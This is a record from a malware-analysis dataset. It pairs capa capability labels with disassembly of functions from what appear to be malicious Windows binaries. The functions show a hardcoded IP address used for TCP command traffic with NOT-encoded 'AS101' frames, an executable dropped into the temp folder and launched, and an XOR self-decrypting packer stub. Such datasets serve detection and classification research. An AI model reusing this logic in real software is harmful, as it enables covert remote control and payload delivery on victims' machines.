joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401720
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x44], ax
push 0x3e
push 0
lea ecx, [ebp - 0x42]
push ecx
call fcn.00409320
add esp, 0xc
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1dc], 0
lea ecx, [ebp - 0x44]
call fcn.004043fc
lea edx, [ebp - 0x44]
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x1e4], 0x41bf88
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x204], eax
mov ecx, dword [ebp - 0x1f0]
mov dx, word [ecx]
mov word [ebp - 0x1de], dx
mov eax, dword [ebp - 0x1e4]
mov cx, word [ebp - 0x1de]
mov word [eax], cx
mov edx, dword [ebp - 0x1f0]
add edx, 2
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1e4]
add eax, 2
mov dword [ebp - 0x1e4], eax
cmp word [ebp - 0x1de], 0
jne 0x401784
push 0x41bf88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
je 0x401801
mov ecx, dword [ebp - 0x1dc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4019bd
push 0x41bf88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x401828
xor eax, eax
jmp 0x4019bd
lea edx, [ebp - 0x1d4]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x41cb20
call fcn.00402530
add esp, 4
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jne 0x401982
mov dword [ebp - 0x1f4], str.dgudf
mov dword [ebp - 0x1e8], 0x41ccc8
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x200], eax
mov ecx, dword [ebp - 0x1f4]
mov dx, word [ecx]
mov word [ebp - 0x1d8], dx
mov eax, dword [ebp - 0x1e8]
mov cx, word [ebp - 0x1d8]
mov word [eax], cx
mov edx, dword [ebp - 0x1f4]
add edx, 2
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0x1e8], eax
cmp word [ebp - 0x1d8], 0
jne 0x40187a
push 0x4188b0
push 0x41cb24
call fcn.004024c0
add esp, 8
push str.GTDR
push 0x41cba6
call fcn.004024e0
add esp, 8
push 0x4188d8
push 0x41cbc6
call fcn.004024c0
add esp, 8
mov ecx, 0x51
mov word [0x41cba4], cx
mov edx, 0x2b8e
mov word [0x41cc46], dx
mov dword [ebp - 0x1f8], str.BHSBDHS
mov dword [ebp - 0x1ec], 0x41cca8
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x1f8]
mov dx, word [ecx]
mov word [ebp - 0x1d6], dx
mov eax, dword [ebp - 0x1ec]
mov cx, word [ebp - 0x1d6]
mov word [eax], cx
mov edx, dword [ebp - 0x1f8]
add edx, 2
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1ec]
add eax, 2
mov dword [ebp - 0x1ec], eax
cmp word [ebp - 0x1d6], 0
jne 0x401930
mov dword [0x41cce8], 5
call fcn.0040448c
mov ecx, 0x418904
call fcn.00404515
mov dword [0x41ce20], eax
push 0x41c920
call fcn.004013a0
add esp, 4
push 0
push 0
push 0
push 0x4015d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040565b
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x64
push 0x41beb8
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x41bdf0
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00402240
add esp, 4
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004022e0
add esp, 8
test eax, eax
jne 0x402070
xor eax, eax
jmp 0x402230
push 0x6d
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [ebp - 0x238], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x41af08
call fcn.00403a56
call fcn.00402af0
test eax, eax
je 0x4020ad
call fcn.004041ab
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401720
test eax, eax
jne 0x4020bd
xor eax, eax
jmp 0x402230
call fcn.00401c00
cmp dword [0x41ce20], 0
jbe 0x4020f4
movzx eax, word [0x41ce24]
test eax, eax
jle 0x4020f4
mov edx, str.218.54.31.226
mov ecx, dword [0x41ce20]
call fcn.0040487c
mov cx, word [0x41ce24]
mov word [0x41aef4], cx
mov dword [ebp - 0x234], str.tkghle.exe
mov dword [ebp - 0x230], 0x41c1a0
mov edx, dword [ebp - 0x230]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x22a], cx
mov edx, dword [ebp - 0x230]
mov ax, word [ebp - 0x22a]
mov word [edx], ax
mov ecx, dword [ebp - 0x234]
add ecx, 2
mov dword [ebp - 0x234], ecx
mov edx, dword [ebp - 0x230]
add edx, 2
mov dword [ebp - 0x230], edx
cmp word [ebp - 0x22a], 0
jne 0x402114
call fcn.004048e4
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409320
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41c1a0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.004058d6
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x418a8c
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040565b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402650
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], 0
cmp dword [ebp + 8], 0
je 0x402679
cmp dword [ebp + 0xc], 0
jne 0x402683
jmp 0x4027df
cmp dword [ebp + 0x10], 0
je 0x4026d8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
add ecx, 2
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x214]
mov ax, word [edx]
mov word [ebp - 0x216], ax
add dword [ebp - 0x214], 2
cmp word [ebp - 0x216], 0
jne 0x4026a1
mov ecx, dword [ebp - 0x214]
sub ecx, dword [ebp - 0x224]
sar ecx, 1
mov dword [ebp - 0x220], ecx
jne 0x4026e2
jmp 0x4027df
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00409320
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x40271b
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402763
cmp dword [0x41af08], 3
jne 0x402751
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418aac
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.004058d6
add esp, 0xc
jmp 0x402763
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.004058d6
add esp, 0xc
mov dword [ebp - 0x210], 0
push 0x418ab0
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00405acd
add esp, 0xc
cmp dword [ebp - 0x210], 0
jne 0x4027ad
jmp 0x4027df
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00405d9f
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.00405eb7
add esp, 4
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040565b
mov esp, ebp
pop ebp
ret

Function at 0x4029f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409320
add esp, 0xc
mov dword [ebp - 0x210], 0
cmp dword [ebp + 8], 0
je 0x402a42
cmp dword [ebp + 0xc], 0
jne 0x402a4c
jmp 0x402acd
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.004058d6
add esp, 0xc
push 0x418aec
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.00405acd
add esp, 0xc
cmp dword [ebp - 0x210], 0
je 0x402ac3
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00406085
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.00405eb7
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040565b
mov esp, ebp
pop ebp
ret
Function at 0x403820
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409320
add esp, 0xc
mov dword [ebp - 0x430], 0
push 0x200
push 0
lea edx, [ebp - 0x40c]
push edx
call fcn.00409320
add esp, 0xc
lea eax, [ebp - 0x40c]
push eax
call fcn.00402800
add esp, 4
test eax, eax
je 0x403a42
mov dword [ebp - 0x428], 0x418c38
mov dword [ebp - 0x418], 0x41c018
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x428]
mov ax, word [edx]
mov word [ebp - 0x412], ax
mov ecx, dword [ebp - 0x418]
mov dx, word [ebp - 0x412]
mov word [ecx], dx
mov eax, dword [ebp - 0x428]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
cmp word [ebp - 0x412], 0
jne 0x4038a9
lea edx, [ebp - 0x386]
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x41c], 0x41c120
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x424]
mov dx, word [ecx]
mov word [ebp - 0x410], dx
mov eax, dword [ebp - 0x41c]
mov cx, word [ebp - 0x410]
mov word [eax], cx
mov edx, dword [ebp - 0x424]
add edx, 2
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x41c]
add eax, 2
mov dword [ebp - 0x41c], eax
cmp word [ebp - 0x410], 0
jne 0x403913
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x420], 0x41c0a0
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x42c]
mov cx, word [eax]
mov word [ebp - 0x40e], cx
mov edx, dword [ebp - 0x420]
mov ax, word [ebp - 0x40e]
mov word [edx], ax
mov ecx, dword [ebp - 0x42c]
add ecx, 2
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x420]
add edx, 2
mov dword [ebp - 0x420], edx
cmp word [ebp - 0x40e], 0
jne 0x40397d
mov ax, word [ebp - 0x388]
mov word [0x41c098], ax
mov cx, word [ebp - 0x2e6]
mov word [0x41c010], cx
mov dword [0x41c00c], 5
cmp dword [0x41af08], 3
je 0x403a05
lea edx, [ebp - 0x20c]
mov ecx, 1
call fcn.0040405e
jmp 0x403a12
lea edx, [ebp - 0x20c]
xor ecx, ecx
call fcn.0040405e
push str.golfset.ini
push 0x104
lea edx, [ebp - 0x20c]
push edx
call fcn.004058d6
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x430], 1
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040565b
mov esp, ebp
pop ebp
ret
Function at 0x404cd1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b4
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x9b0], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [esp + 0x1b4]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
lea eax, [esp + 0x28]
push eax
xor esi, esi
push 0x101
mov dword [esp + 0x18], edx
mov ebx, ecx
mov dword [esp + 0x1c], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404d29
xor eax, eax
jmp 0x404d79
push 6
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x404d25
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404d8e
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
pop ebx
push ebx
mov dword [esp + 0x18], eax
push 4
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x404d91
cmp dword [edi], esi
je 0x404d77
push dword [edi]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov eax, esi
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040565b
mov esp, ebp
pop ebp
ret
push 2
pop ebx
mov eax, dword [eax + 0xc]
push dword [esp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x20], eax
mov word [esp + 0x1c], bx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404d69
xor esi, esi
inc esi
jmp 0x404d77

Function at 0x404f1e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x404f9f
push edi
mov edi, dword [ebp + 8]
mov eax, esi
test edi, edi
jle 0x404f44
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x404f3c
lea eax, [edi + 7]
push eax
call fcn.00406e67
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [str.AS101]
mov dword [ecx + 2], eax
mov al, byte [0x41af14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00409f80
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push esi
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404f97
xor ecx, ecx
inc ecx
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040725b
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x405195
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
push edi
mov edi, ecx
xor eax, eax
mov word [esi], ax
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], edi
cmp dword [edi], eax
je 0x4052e9
test edx, edx
je 0x4052e9
push 0xc7
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], bl
call fcn.00409320
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4052e9
test eax, eax
je 0x4052e9
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push eax
mov esi, ebx
call fcn.00406e67
mov edi, eax
mov eax, dword [ebp - 0x8d4]
pop ecx
test eax, eax
jle 0x4052de
push ebx
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4052d8
test eax, eax
je 0x4052d8
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x40524e
cmp esi, 5
jl 0x4052de
mov ecx, str.AS101
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4052de
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x4052de
test esi, esi
jle 0x4052a4
lea eax, [edi + 5]
mov ecx, esi
not byte [eax]
inc eax
dec ecx
jne 0x40529e
mov ebx, dword [ebp - 0x8dc]
lea eax, [edi + 5]
cmp dword [ebx], esi
jl 0x4052c2
push esi
push eax
push dword [ebp - 0x8d0]
call fcn.00409f80
mov dword [ebx], esi
jmp 0x4052d0
push dword [ebx]
push eax
push dword [ebp - 0x8d0]
call fcn.00409f80
xor ebx, ebx
add esp, 0xc
inc ebx
jmp 0x4052de
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x4052e9
push edi
call fcn.0040725b
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x4101b6
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004075fa
mov dword [ebp - 0x14], eax
cmp dword [0x41bd84], edi
jne 0x4102a7
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x410234
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x410387
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x410387
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410387
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41bd84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41bd88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41bd8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd94], eax
test eax, eax
je 0x4102a4
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4102cc
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4102bf
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4102e1
push 4
pop eax
jmp 0x410389
cmp dword [ebp - 0x14], edi
je 0x4102e1
push dword [0x41bd84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4102c6
mov eax, dword [0x41bd90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41033f
cmp dword [0x41bd94], esi
je 0x41033f
push eax
call ebx
push dword [0x41bd94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41033f
test eax, eax
je 0x41033f
call ecx
test eax, eax
je 0x410334
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x410334
test byte [ebp - 8], 1
jne 0x41033f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41036f
mov eax, dword [0x41bd88]
cmp eax, esi
je 0x41036c
push eax
call ebx
test eax, eax
je 0x41036c
call eax
mov edi, eax
test edi, edi
je 0x41036c
mov eax, dword [0x41bd8c]
cmp eax, esi
je 0x41036c
push eax
call ebx
test eax, eax
je 0x41036c
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41bd84]
call ebx
test eax, eax
je 0x410387
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x410389
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x1686668b
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x42f314
nop
mov ecx, 0x1a9d3be1
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x403345
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.004034f5
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x403443
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4033e6
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x403429
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x4033fd
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x403418
test al, 0x40
je 0x40340f
mov ecx, dword [edi + 0x20]
jmp 0x403416
test al, 0x80
je 0x403429
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x403429
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x4033b5
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret